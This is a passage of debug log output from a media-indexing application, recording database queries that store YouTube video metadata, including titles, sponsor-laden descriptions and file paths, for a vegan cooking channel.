s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.940 [debug] QUERY OK source="media_items" db=1.5ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 00:00:00Z], 1] 20:31:06.942 [debug] QUERY OK source="media_items" db=1.9ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day, I made several of our fave healthy yet romantic vegan recipes. Come along and enjoy everything we ate today as a vegan couple, our romantic love story, and a ton of corny romantic comedy quotes to hopefully make you giggle!\n\n💎 Thank you to MSBLUE Jewelry for sponsoring this video! ✨\n#MSBLUE #MSBLUEjewelry #msblueofficial #msbluerings\n\n💎 Shop my jewelry! 💎 Save 15% off with my code SV15 ➡️ https://go.msblue.com/87u \n3 CT. Cushion Cut Alexandrite Moissanite Pavé Pendant: https://go.msblue.com/4ej\n1.5 CT. Oval Alexandrite Engagement Ring With Moissanite Pavé Halo: https://go.msblue.com/0rn\n\nLearn more about how MSBLUE is making a positive impact on our planet with every purchase 🌎\nhttps://msblue.com/en-ca/pages/how-we... \n\nOther Romantic Recipes on the Channel:\nVegan Carbonara: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Creamy\u00A0Carbonara\u00A0Pasta\u00A0Recipe!\u00A0\u00A0\nChocolate Brownie Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nDouble Chocolate Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\nThe Best Chocolate Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nProtein Balls, Brownies and Mousse: \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0DESSERTS!\u00A0Protein\u00A0Balls,\u00A0Brownies\u00A0...\u00A0\u00A0\nDark Chocolate Raspberry Scones & Nut Clusters: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats)", "c951fcbf-7e7b-4fbd-b9b8-88e2d27746df", 1, [], false, "IjU0NPI1_l8", "https://www.youtube.com/watch?v=IjU0NPI1_l8", 113, "/downloads/downloads/alec/Steamy Vegan/2025-02-13 What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats)/What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats) [IjU0NPI1_l8].NA", false, false, false, 1, ~U[2025-02-13 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day, I made several of our fave healthy yet romantic vegan recipes. Come along and enjoy everything we ate today as a vegan couple, our romantic love story, and a ton of corny romantic comedy quotes to hopefully make you giggle!\n\n💎 Thank you to MSBLUE Jewelry for sponsoring this video! ✨\n#MSBLUE #MSBLUEjewelry #msblueofficial #msbluerings\n\n💎 Shop my jewelry! 💎 Save 15% off with my code SV15 ➡️ https://go.msblue.com/87u \n3 CT. Cushion Cut Alexandrite Moissanite Pavé Pendant: https://go.msblue.com/4ej\n1.5 CT. Oval Alexandrite Engagement Ring With Moissanite Pavé Halo: https://go.msblue.com/0rn\n\nLearn more about how MSBLUE is making a positive impact on our planet with every purchase 🌎\nhttps://msblue.com/en-ca/pages/how-we... \n\nOther Romantic Recipes on the Channel:\nVegan Carbonara: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Creamy\u00A0Carbonara\u00A0Pasta\u00A0Recipe!\u00A0\u00A0\nChocolate Brownie Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nDouble Chocolate Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\nThe Best Chocolate Chip Cookies: \u00A0\u00A0\u00A0•\u00A0THE\u00A0BEST\u00A0VEGAN\u00A0CHOCOLATE\u00A0CHIP\u00A0COOKIE\u00A0RECIP...\u00A0\u00A0\nProtein Balls, Brownies and Mousse: \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0DESSERTS!\u00A0Protein\u00A0Balls,\u00A0Brownies\u00A0...\u00A0\u00A0\nDark Chocolate Raspberry Scones & Nut Clusters: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats)", 1, nil, false, "IjU0NPI1_l8", "https://www.youtube.com/watch?v=IjU0NPI1_l8", "/downloads/downloads/alec/Steamy Vegan/2025-02-13 What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats)/What I Eat in a Day as a Vegan + Our Love Story 💍ft. MSBLUE Jewelry 💎(Tiramisu Overnight Oats) [IjU0NPI1_l8].NA", false, ~U[2025-02-13 00:00:00Z]] 20:31:06.943 [debug] QUERY OK source="sources" db=0.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.946 [debug] QUERY OK source="media_items" db=1.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 00:00:00Z], 1] 20:31:06.948 [debug] QUERY OK source="media_items" db=1.6ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan recipe from Natalie Portman is plant-based, gluten-free, and is a super easy vegan recipe. The vegan recipe I'm talking about is a 5 ingredient chickpea stew and you'll have this quick vegan recipe on your table quicker then the millenium falcon at lightspeed! May the force be with you to make this recipe! \n\nI've got an entire playlist of vegan celebrity dishes that you might enjoy, check them out below:\nAriana Grande: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nBillie Eilish: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\nPam Anderson: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nLooking for a few meal prep ideas to make your week a bit easier, check these videos out!: \nHealthy High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Natalie Portman's FAVORITE Vegan Recipe", "098fe1a1-0377-458f-a43d-b1cb67dacd79", 1, [], false, "CaUgasfnJY0", "https://www.youtube.com/watch?v=CaUgasfnJY0", 114, "/downloads/downloads/alec/Steamy Vegan/2025-02-11 I Tried Natalie Portman's FAVORITE Vegan Recipe/I Tried Natalie Portman's FAVORITE Vegan Recipe [CaUgasfnJY0].NA", false, false, false, 1, ~U[2025-02-11 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This vegan recipe from Natalie Portman is plant-based, gluten-free, and is a super easy vegan recipe. The vegan recipe I'm talking about is a 5 ingredient chickpea stew and you'll have this quick vegan recipe on your table quicker then the millenium falcon at lightspeed! May the force be with you to make this recipe! \n\nI've got an entire playlist of vegan celebrity dishes that you might enjoy, check them out below:\nAriana Grande: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nBillie Eilish: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0the\u00A0VIRAL\u00A0Billie\u00A0Eilish\u00A0Vegan\u00A0Noodl...\u00A0\u00A0\nPam Anderson: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nLooking for a few meal prep ideas to make your week a bit easier, check these videos out!: \nHealthy High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Natalie Portman's FAVORITE Vegan Recipe", 1, nil, false, "CaUgasfnJY0", "https://www.youtube.com/watch?v=CaUgasfnJY0", "/downloads/downloads/alec/Steamy Vegan/2025-02-11 I Tried Natalie Portman's FAVORITE Vegan Recipe/I Tried Natalie Portman's FAVORITE Vegan Recipe [CaUgasfnJY0].NA", false, ~U[2025-02-11 00:00:00Z]] 20:31:06.949 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.952 [debug] QUERY OK source="media_items" db=2.2ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 00:00:00Z], 1] 20:31:06.955 [debug] QUERY OK source="media_items" db=2.7ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Pure Creatine Monohydrate for Muscle Growth, Energy, and Longevity at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nCurious about how we lost fat and gained muscle on a high-protein vegan diet? Over the last 30 days, I lost 2 lbs of fat and gained 0.8 lbs of muscle, while Brad gained 5.4 lbs of muscle and lost 4.7 lbs of fat—all while enjoying delicious plant-based meals! 🍽️ In this video, we’re sharing everything we ate, from high-protein breakfasts like tiramisu overnight oats and tofu scramble, to hearty lunches and dinners like lentil curry, vegan carbonara, and protein-packed Buddha bowls. We’ll also dive into our fitness routine (P90X3, weightlifting, and cardio), our macro goals, and how creatine supplementation helped boost results. Plus, we kept it realistic with a few fun meals out, proving you don’t have to be perfect to see amazing progress. Stay tuned for meal ideas, fitness tips, and our best advice for building muscle and burning fat on a vegan diet! 💪🌱 \n\n\n#bodytransformation #weightloss #howilostweight #whatieatinaday #vegan #losefat #buildmuscle #highproteinveganmeals \n\nBREAKFASTS\nOatmeal 3 Ways: \u00A0\u00A0\u00A0•\u00A03\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Oatmeal\u00A0Recipes\u00A0/\u00A0...\u00A0\u00A0\nTofu Scramble: \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\nVeggie Eggy Cups: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nCoconut Lemon Chia Pudding: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\n\nLUNCHES\nPam Anderson's Moroccan Lentil Soup & Buddha Bowl: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\nVegan Pad Tha: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Vegan\u00A0Tofu\u00A0Pad\u00A0Thai\u00A0Recipe\u00A0|\u00A025\u00A0mi...\u00A0\u00A0\nThai Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Thai\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0and\u00A0Gluten...\u00A0\u00A0\nTeriyaki Tofu: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nSundubu Jjigae (Korean Tofu Stew): \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\n\n\nDINNERS\nYellow Thai Curry: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Thai\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0and\u00A0Gluten...\u00A0\u00A0\nPumpkin Lentil Curry: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Healthy\u00A0Vegan\u00A0Recipes...\u00A0\u00A0\nVegan Scarpariello: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Ariana\u00A0Grande's...\u00A0\u00A0\nBroccoli Chickpea Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nVegan Carbonara: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Creamy\u00A0Carbonara\u00A0Pasta\u00A0Recipe!\u00A0\u00A0\n\nSNACKS\nBrownie Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars\u00A0💪🏼\u00A0Low\u00A0calorie,\u00A0glut...\u00A0\u00A0\nPecan Butter: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Healthy\u00A0Vegan\u00A0Recipes...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What we ate in a month to lose fat and gain muscle on a high-protein vegan diet", "1c7a3f17-abb8-49d6-8075-ab2b77719546", 1, [], false, "d7zjO_Yqs28", "https://www.youtube.com/watch?v=d7zjO_Yqs28", 115, "/downloads/downloads/alec/Steamy Vegan/2025-02-08 What we ate in a month to lose fat and gain muscle on a high-protein vegan diet/What we ate in a month to lose fat and gain muscle on a high-protein vegan diet [d7zjO_Yqs28].NA", false, false, false, 1, ~U[2025-02-08 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Thank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Pure Creatine Monohydrate for Muscle Growth, Energy, and Longevity at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nCurious about how we lost fat and gained muscle on a high-protein vegan diet? Over the last 30 days, I lost 2 lbs of fat and gained 0.8 lbs of muscle, while Brad gained 5.4 lbs of muscle and lost 4.7 lbs of fat—all while enjoying delicious plant-based meals! 🍽️ In this video, we’re sharing everything we ate, from high-protein breakfasts like tiramisu overnight oats and tofu scramble, to hearty lunches and dinners like lentil curry, vegan carbonara, and protein-packed Buddha bowls. We’ll also dive into our fitness routine (P90X3, weightlifting, and cardio), our macro goals, and how creatine supplementation helped boost results. Plus, we kept it realistic with a few fun meals out, proving you don’t have to be perfect to see amazing progress. Stay tuned for meal ideas, fitness tips, and our best advice for building muscle and burning fat on a vegan diet! 💪🌱 \n\n\n#bodytransformation #weightloss #howilostweight #whatieatinaday #vegan #losefat #buildmuscle #highproteinveganmeals \n\nBREAKFASTS\nOatmeal 3 Ways: \u00A0\u00A0\u00A0•\u00A03\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Oatmeal\u00A0Recipes\u00A0/\u00A0...\u00A0\u00A0\nTofu Scramble: \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\nVeggie Eggy Cups: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\nCoconut Lemon Chia Pudding: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High\u00A0Protein\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Re...\u00A0\u00A0\n\nLUNCHES\nPam Anderson's Moroccan Lentil Soup & Buddha Bowl: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipe (truncated) 20:31:06.957 [debug] QUERY OK source="sources" db=1.0ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.959 [debug] QUERY OK source="media_items" db=2.1ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-04 00:00:00Z], 1] 20:31:06.961 [debug] QUERY OK source="media_items" db=1.2ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Billie Eilish's vegan noodle soup went viral a few years ago so I thought I'd try out this vegan recipe and see if it's really worth all of the hype! This vegan noodle soup is an easy vegan recipe, is high-protein with the tofu, and can be made gluten-free with the rice noodles. Hope you enjoy it!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe", "0317addc-9ca3-41b9-be79-eabfa1e8209d", 1, [], false, "x01qp-p0t2A", 